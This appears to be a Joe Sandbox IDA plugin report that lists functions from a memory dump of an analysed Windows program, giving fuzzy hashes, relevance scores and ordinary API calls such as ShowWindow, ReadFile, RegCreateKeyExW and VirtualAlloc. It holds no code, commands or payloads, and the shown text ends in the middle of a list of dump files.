Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalObjectSection$DeleteEnterLeaveSingleWait
String ID:
API String ID: 2161630208-0
Opcode ID: 44be12c85f3cfbc24538ccb3a4769c12f8aaaf2a2c235595af75b05e9d439cf9
Instruction ID: b76468050b5561a81d54650b8405987ba721048ba8bf5e05c0520729d4fb1b2c
Opcode Fuzzy Hash: 44be12c85f3cfbc24538ccb3a4769c12f8aaaf2a2c235595af75b05e9d439cf9
Instruction Fuzzy Hash: 82313430300E876BCE09FB72C96ABADB35AAF60744F400128F606575D3EF75AD16C695

Function 001E8FE7 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(00FFFFFF), ref: 001E9102

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: BrushCreateSolid
String ID:
API String ID: 4168422804-0
Opcode ID: ea5485a423cb8bbbfda5ce00cb9c4e5f56446e722aebb39b15d438caa4f71781
Instruction ID: 0e4d2cfae6cdb8de234e2f82d62e52f359a246037050e9457cd0911bf3eb2481
Opcode Fuzzy Hash: ea5485a423cb8bbbfda5ce00cb9c4e5f56446e722aebb39b15d438caa4f71781
Instruction Fuzzy Hash: 3B41C0B5A15B818FC360DF7AC48969BFBE4BF68300F504A2ED4AE87261DB70A044CB15

Function 001E6CA8 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 001E6CDF

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 75571d0426f0554264f2b068a4fe202d169142423154c0405d06a7501f9f36c3
Instruction ID: e7fd9c263f003925790d7d70d8e266941673ed4e2e8ae77b1fc6932f3317ed7d
Opcode Fuzzy Hash: 75571d0426f0554264f2b068a4fe202d169142423154c0405d06a7501f9f36c3
Instruction Fuzzy Hash: 62219F71A10659EFCF08DFA5D888BEEB7B8FF18340F408019E845A3181CB74AD54CBA0

Function 00212A40 Relevance: 1.6, APIs: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,00000000,00000000,00000000), ref: 00212AD1

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: d6576b53d66671e47d778956e962baded900ef59316abb96f855673829d67381
Instruction ID: a8110a3b8bd74cef90c3ab422659db700e81dbc04746f062ef7095173c548167
Opcode Fuzzy Hash: d6576b53d66671e47d778956e962baded900ef59316abb96f855673829d67381
Instruction Fuzzy Hash: BD2138B66083069FC314CF69D48095BF7E4FF98714F014A1EF4A9D7240E731E9598B92

Function 001ED8B0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 001ED8B0: FindClose.KERNEL32(001EF7D1,1FE05385,00000000,7FFFFFFE), ref: 001ED773
Part of subcall function 001ED8B0: FindFirstFileW.KERNELBASE(?,00000000,1FE05385,00000000,7FFFFFFE), ref: 001ED7AF
Part of subcall function 001ED8B0: FindFirstFileW.KERNEL32(?,?), ref: 001ED806

FindClose.KERNELBASE(?,00000007), ref: 001ED939

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: cabbc11ba0514c998065fdd8fca36cf6f1e73836790c18b5a685124bbd1c1be2
Instruction ID: 141baceae5a0908ca7b0ce5f8769f547bdca8f789148eae9375ea43d281c0c24
Opcode Fuzzy Hash: cabbc11ba0514c998065fdd8fca36cf6f1e73836790c18b5a685124bbd1c1be2
Instruction Fuzzy Hash: 9F21C0B1901645AFDB20DFA5D805BAEBBB4EF02730F200329E4246B2C0D7311A04CBA1

Function 001F4B50 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(000000FF,?,?,?,00000000), ref: 001F4BAF

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 685d6f9d149374ccdfcfebd5f7286a06b427d5c582cfd3030aee3c587b9c39f3
Instruction ID: 98b346a151bde346d26a043e0e6a32a1e10bd26d99c81e4317502cc6c8038b6d
Opcode Fuzzy Hash: 685d6f9d149374ccdfcfebd5f7286a06b427d5c582cfd3030aee3c587b9c39f3
Instruction Fuzzy Hash: 951136726052059BC718CF18E8A4B7BB7A5FB89350F01092DFA8697291D771EC188B92

Function 00225D4B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 002248FD: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00222F08,00000001,00000364,?,0022080C,00244590,00000010), ref: 0022493E

_free.LIBCMT ref: 00225DB7

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: a2b28aaeb0db30afe5244d0a8c66eb16f82873778a16c12e9f2b5d9a3c0c96fc
Instruction ID: 28b5ac2c78dbd9f50e8a1deb6131b2d2d65f45fd5ce430bdb8d72db34b53995e
Opcode Fuzzy Hash: a2b28aaeb0db30afe5244d0a8c66eb16f82873778a16c12e9f2b5d9a3c0c96fc
Instruction Fuzzy Hash: FB0149766107157BE331CFA9E845A9AFBE9EBC5370F25061DE58483280EA30A815CB34

Function 002248FD Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00222F08,00000001,00000364,?,0022080C,00244590,00000010), ref: 0022493E

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aff4a9dbe4573b48bf4795b6f6d552781a8e6e1fe0783e844f15f910660c2268
Instruction ID: c3b2d09c66071ffb6f3397383b0a3d0b0aaeea92aba6604929d283e061b353f4
Opcode Fuzzy Hash: aff4a9dbe4573b48bf4795b6f6d552781a8e6e1fe0783e844f15f910660c2268
Instruction Fuzzy Hash: 5AF0B43162413576DB217EE1BC05B5B379CAF527B0B148111EC0D9B191CA70DCB096A0

Function 001E5274 Relevance: 1.5, APIs: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(80000001,?,00000000,002397B8,00000000,000F003F,00000000,?,?), ref: 001E52AA

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 1d6feb4927e4ca158043d16bfed90dea16c79be2491c14778031340727cf0b22
Instruction ID: 95da967f2da9f587b5793d5492f92c7866d884724c7802aefa0de5cff22dd490
Opcode Fuzzy Hash: 1d6feb4927e4ca158043d16bfed90dea16c79be2491c14778031340727cf0b22
Instruction Fuzzy Hash: 68F09672110604FFDB1C8F55C809EFB77A9EB51715F10421CB9425A081DBB0ED44C770

Function 002231BF Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0021B1C1,?,?,001E1D09,00000018,1FE05385,?,0022E43A,000000FF), ref: 002231F1

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf3a831cfddca7335f0cedf72be2379125fceed3eaa148f39b82d0084f2e45e3
Instruction ID: f302d98405cce2c2c03ef9beb640a0d088bc6da6f5851714d2aff88cb54ee0be
Opcode Fuzzy Hash: bf3a831cfddca7335f0cedf72be2379125fceed3eaa148f39b82d0084f2e45e3
Instruction Fuzzy Hash: 25E0E521230236B6D720AAE5BC05B6B36889B427F0F100111EC0DD20A5CEA9CE3086A1

Function 001EA644 Relevance: 1.5, APIs: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,0000046B,00000000,00000000), ref: 001EA673

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6ea8074fe0f31d6b26e107e5dd15d63f3af84749b6bc89c9e1a44089bbd91982
Instruction ID: 4783e7c7f8557f4b6299641c86aee551680cbcc65ce48c33e7da45cc1259d160
Opcode Fuzzy Hash: 6ea8074fe0f31d6b26e107e5dd15d63f3af84749b6bc89c9e1a44089bbd91982
Instruction Fuzzy Hash: 8CE02632112B607BD2B126A2AD01FB7BBDCBF09B11F440409FA82A6DD0C350F8009BA4

Function 001E6ED8 Relevance: 1.5, APIs: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000466,?,?), ref: 001E6EF6

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6554bcfea02d47f918b0c86ceaa30203d7d28a539c0abdd7376286bb3804261b
Instruction ID: a53e6ffc52d2ac687bd4de4f47c1493f6ba603a78c5a5a0ae90c95982d828ea9
Opcode Fuzzy Hash: 6554bcfea02d47f918b0c86ceaa30203d7d28a539c0abdd7376286bb3804261b
Instruction Fuzzy Hash: C5E086320505256FE7615E96EC4AEEB77E8EB14750F044029BA81880B1E7B69894D794

Function 001E713D Relevance: 1.5, APIs: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,?,00000000), ref: 001E7156

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 2ae7aaab50d0b065d9b65dac6ccd1b783b7e660ac33ebd40a264e98b41783245
Instruction ID: 8c595169cc2a1ec6198827a571347dbb35e0df5ec3cf90f36ecc693489b4b65a
Opcode Fuzzy Hash: 2ae7aaab50d0b065d9b65dac6ccd1b783b7e660ac33ebd40a264e98b41783245
Instruction Fuzzy Hash: C6E02B32054726AFF3305F5AEC05FAA77E49B00710F044419BB819C0F1D7B6D494D754

Function 001E6E9E Relevance: 1.5, APIs: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000465,?,?), ref: 001E6EB8

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6a0d55c913a0b48e01217ef2716fc7847c8db5567101694254aa5634f00e671a
Instruction ID: 5ae67f4105b45b85c01d8fbbf7985e1972bdc1a5b528dd8bcbcbc9f712df6212
Opcode Fuzzy Hash: 6a0d55c913a0b48e01217ef2716fc7847c8db5567101694254aa5634f00e671a
Instruction Fuzzy Hash: 52E0C232050529AFE7215E9AEC09E9A77E8AB14760F008019BB82880F0D776D498DB94

Function 001E6EDC Relevance: 1.5, APIs: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000466,?,?), ref: 001E6EF6

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b74578955a452029d281cd99c6623fb8b1e7ae663ef41135d9c20163d30f9ed4
Instruction ID: 92aefecbe546e3d91d77fd7c3e6af40b1a1379e92a828df900386714a754c6ac
Opcode Fuzzy Hash: b74578955a452029d281cd99c6623fb8b1e7ae663ef41135d9c20163d30f9ed4
Instruction Fuzzy Hash: 50E0C23205052AAFE7216E9AEC05E9B7BE8AB14760F008029BB81880F0D776D4D8DB94

Function 00212940 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0021294C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: deeccf06e4e2bd9ce832b274c3ecf6ed5d364f4e0fb28a2398d7f1ef30c30613
Instruction ID: b1982d357cad0dd9cc1a6cbf81abb580a63c40ef42541d3a8d1039ac6d1853e6
Opcode Fuzzy Hash: deeccf06e4e2bd9ce832b274c3ecf6ed5d364f4e0fb28a2398d7f1ef30c30613
Instruction Fuzzy Hash: F0E0B675511700CBC7388F2CD88865673E8AF0A331B210F6AF066C76E0D770E8998BA8

Function 0020E8B6 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0020E8BD

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 3bf709c08dacb86c4fe27038e91a1e35bf5077416be9525577ca3ff649627d61
Instruction ID: 942115d423b180d9411ec2c1f3c05024ae09d0d388ff4264f90136234bc67275
Opcode Fuzzy Hash: 3bf709c08dacb86c4fe27038e91a1e35bf5077416be9525577ca3ff649627d61
Instruction Fuzzy Hash: 96D09272024259FADF02AFD0DE01BAD3A21BB14310F128850B610190A2CBB285B0BF22

Function 001E5264 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,001E6A36,00000000,00239840,00000000,00000000,?,?,?,?), ref: 001E526D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3553ea836a0fe1e391a1b055d16b15d997168373c15a7b96ee4fbc8f202ae94b
Instruction ID: d5a66c3801bf03cf8cb36040b6ee5202fb2349c69a6817409694d949d6a2684e
Opcode Fuzzy Hash: 3553ea836a0fe1e391a1b055d16b15d997168373c15a7b96ee4fbc8f202ae94b
Instruction Fuzzy Hash: DBB01130800A00CBCF8E8F22FA2C3083A32BB0030EF3088E8A000080B28332CA23CF00

Function 00219F9D Relevance: 1.3, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00204043: __Init_thread_footer.LIBCMT ref: 0020407E

VirtualAlloc.KERNELBASE(00000000,00020000,00001000,00000004,00000000,?,00219423), ref: 0021A068

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
